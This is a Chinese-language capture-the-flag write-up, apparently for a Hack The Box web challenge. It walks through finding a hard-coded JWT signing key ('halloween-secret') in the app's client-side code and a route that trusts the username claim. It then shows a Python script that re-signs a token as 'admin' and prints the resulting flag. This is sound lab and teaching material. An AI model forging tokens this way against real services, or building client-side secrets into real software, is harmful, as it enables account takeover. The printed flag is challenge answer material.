Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250402184654092

(有附件)

观察

打开网页:

image-20250402180500045

输入123试试,然后查看cookie:

image-20250402180527907

因为cookie的内容为3部分,每2部分由 . 隔开的,所以是JWT,用 https://jwt.io/ 试试:

image-20250402180715962

去给的附件里找找看有没有关于JWT的信息。

运气比较好,通过直接搜索 “JWT” 可以在 scr/views/index.html 里找到这部分内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
async function generateJWT() {
const existingToken = getCookie("session_token");

if (existingToken) {
console.log("Session token already exists:", existingToken);
return;
}

const randomNumber = Math.floor(Math.random() * 10000);
const guestUsername = "guest_" + randomNumber;

const header = {
alg: "HS256",
typ: "JWT",
};

const payload = {
username: guestUsername,
iat: Math.floor(Date.now() / 1000),
};

const secretKey = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode("halloween-secret"),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"],
);

const headerBase64 = btoa(JSON.stringify(header))
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");
const payloadBase64 = btoa(JSON.stringify(payload))
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");

const dataToSign = `${headerBase64}.${payloadBase64}`;
const signatureArrayBuffer = await crypto.subtle.sign(
{ name: "HMAC" },
secretKey,
new TextEncoder().encode(dataToSign),
);

const signatureBase64 = btoa(
String.fromCharCode.apply(
null,
new Uint8Array(signatureArrayBuffer),
),
)
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");

const token = `${dataToSign}.${signatureBase64}`;

document.cookie = `session_token=${token}; path=/; max-age=${60 * 60 * 24}; Secure`;

console.log("Generated JWT Session Token:", token);
}

可以发现这里是把 halloween-secret 作为密钥进行签名的。继续阅读源码,可以在 scr/routes/index.js 里发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
router.get("/tickets", async (req, res) => {
const sessionToken = req.cookies.session_token;

if (!sessionToken) {
return res.status(401).json(response("No session token provided"));
}

try {
const username = getUsernameFromToken(sessionToken);

if (username === "admin") {
try {
const tickets = await db.get_tickets();
return res.status(200).json({ tickets });
} catch (err) {
return res
.status(500)
.json(response("Error fetching tickets: " + err.message));
}
} else {
return res
.status(403)
.json(response("Access denied. Admin privileges required."));
}
} catch (err) {
return res.status(400).json(response(err.message));
}
});

也就是说 /tickets 页面只会验证我们的username是否等于admin。

并且flag就在这个页面里,因为对应的database的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
async migrate() {
let flag;
fs.readFile("/flag.txt", "utf8", function (err, data) {
flag = data;
});

await this.db.exec(`
DROP TABLE IF EXISTS tickets;

CREATE TABLE tickets(
id INTEGER PRIMARY KEY AUTOINCREMENT,
name VARCHAR(255) NOT NULL,
username VARCHAR(255) NOT NULL,
content TEXT NOT NULL
);
`);

await this.db.exec(`
INSERT INTO tickets (name, username, content) VALUES
('John Doe', 'guest_1234', 'I need help with my account.'),
('Jane Smith', 'guest_5678', 'There is an issue with my subscription.'),
('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}'),
('Paul Blake', 'guest_9012', 'Can someone assist with resetting my password?'),
('Alice Cooper', 'guest_3456', 'The app crashes every time I try to upload a picture.');
`);
}

渗透

首先确认一下这个密钥是否正确:

image-20250402182122780

然后将username的值改为”admin”,再利用这个新的JWT访问 /tickets

这个网站不知道为什么突然不能修改jwt了,所以写段python手动修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import jwt

original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzE3ODgiLCJpYXQiOjE3NDM2MDk3MDd9.RrHUnCE8lcYjM0m2LZQDYM46uqrberxslMW_FNtm49s"
secret = "halloween-secret"
algorithm = "HS256"

decoded_payload = jwt.decode(original_token, secret, algorithms=[algorithm])

decoded_payload["username"] = "admin"

new_token = jwt.encode(decoded_payload, secret, algorithm=algorithm)

print("\n新的 Token:")
print(new_token)

image-20250402184254399

得到flag:HTB{k33p_th3s3_jwt_s3cr3t_s4f3f_br0}